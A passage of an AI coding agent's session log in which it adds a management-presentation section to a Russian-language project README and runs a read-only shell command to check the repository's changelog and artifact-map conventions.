\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:59:52.260Z] [INFO]       {\n[2026-09-29T07:59:52.260Z] [INFO]         \"oldStart\": 137,\n[2026-09-29T07:59:52.260Z] [INFO]         \"oldLines\": 6,\n[2026-09-29T07:59:52.260Z] [INFO]         \"newStart\": 137,\n[2026-09-29T07:59:52.260Z] [INFO]         \"newLines\": 20,\n[2026-09-29T07:59:52.260Z] [INFO]         \"lines\": [\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" \",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" ## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" \",\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\"\n[2026-09-29T07:59:52.260Z] [INFO]         ]\n[2026-09-29T07:59:52.260Z] [INFO]       }\n[2026-09-29T07:59:52.260Z] [INFO]     ],\n[2026-09-29T07:59:52.260Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:59:52.260Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:59:52.260Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:59:52.260Z] [INFO]   }\n[2026-09-29T07:59:52.260Z] [INFO] }\n[2026-09-29T07:59:53.182Z] [INFO] {\n[2026-09-29T07:59:53.182Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"message\": {\n[2026-09-29T07:59:53.182Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"id\": \"msg_011CfXNrLfjYuEVgskscQzeq\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"content\": [\n[2026-09-29T07:59:53.182Z] [INFO]       {\n[2026-09-29T07:59:53.182Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"id\": \"toolu_01Mer6YwzMoidxYPXCxB5xcN\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"input\": {\n[2026-09-29T07:59:53.182Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -30 CHANGELOG.md; grep -n 'ba-ai-process' ops/artifact-map.md | head -5; git log --oneline -5 --stat origin/main -- CHANGELOG.md ops/artifact-map.md | head -30\",\n[2026-09-29T07:59:53.182Z] [INFO]           \"description\": \"Check CHANGELOG and artifact-map conventions\"\n[2026-09-29T07:59:53.182Z] [INFO]         },\n[2026-09-29T07:59:53.182Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:53.182Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:53.182Z] [INFO]         }\n[2026-09-29T07:59:53.182Z] [INFO]       }\n[2026-09-29T07:59:53.182Z] [INFO]     ],\n[2026-09-29T07:59:53.182Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:53.182Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_read_input_tokens\": 66798,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:53.182Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:53.182Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T07:59:53.182Z] [INFO]       },\n[2026-09-29T07:59:53.182Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:59:53.182Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:53.182Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:53.182Z] [INFO]     },\n[2026-09-29T07:59:53.182Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:53.182Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:53.182Z] [INFO]   },\n[2026-09-29T07:59:53.182Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:53.182Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"uuid\": \"90ac4089-c766-4ec5-926e-b3b70a5e5522\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:53.158Z\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"request_id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:53.182Z] [INFO]     \"toolu_01Mer6YwzMoidxYPXCxB5xcN\": {\n[2026-09-29T07:59:53.182Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -30 CHANGELOG.md; grep -n 'ba-ai-process' ops/artifact-map.md | head -5; git log --oneline -5 --stat origin/main -- CHANGELOG.md ops/artifact-map.md | head -30\",\n[2026-09-29T07:59:53.182Z] [INFO]       \"description\": \"Check CHANGELOG and artifact-map conventions\"\n[2026-09-29T07:59:53.182Z] [INFO]     }\n[2026-09-29T07:59:53.182Z] [INFO]   }\n[2026-09-29T07:59:53.182Z] [INFO] }\n[2026-09-29T07:59:55.471Z] [INFO] {\n[2026-09-29T07:59:55.471Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"message\": {\n[2026-09-29T07:59:55.471Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"content\": [\n[2026-09-29T07:59:55.471Z] [INFO]       {\n[2026-09-29T07:59:55.471Z] [INFO]         \"tool_use_id\": \"toolu_01Mer6YwzMoidxYPXCxB5xcN\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 2.11\\nupdated: 2026-09-28\\ntemperature: 0.1\\n---\\n\\n# Changelog\\n\\nAll notable repository governance changes are documented here.\\n\\n## Unreleased\\n\\n### Added\\n\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n- projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\\n- projects: \u043f\u0440\u0438\u043d\u044f\u0442\u0430 [ADR-017 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `ba-ai-process`: Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f (issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595), [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)). Source \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process); project-scoped ADR \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u0432 `decisions/`, tests \u0438 experiments \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 GigaCode CLI Distribution \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 `dist/`. Package manifest \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 Source revision, adapter, allowlist \u0438 SHA-256 immutable-\u0432\u044b\u0445\u043e\u0434\u043e\u0432; negative gate \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 RRP, ADR/RFC, backlog \u0438 \u043f\u0440\u043e\u0447\u0438\u0439 Source rationale. \u0412\u043d\u0435\u0448\u043d\u0435\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438 runtime smoke test \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 B-179.\\n- projects: [\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0441 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439](docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) (issue #587) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f issue #577 \u043f\u043e 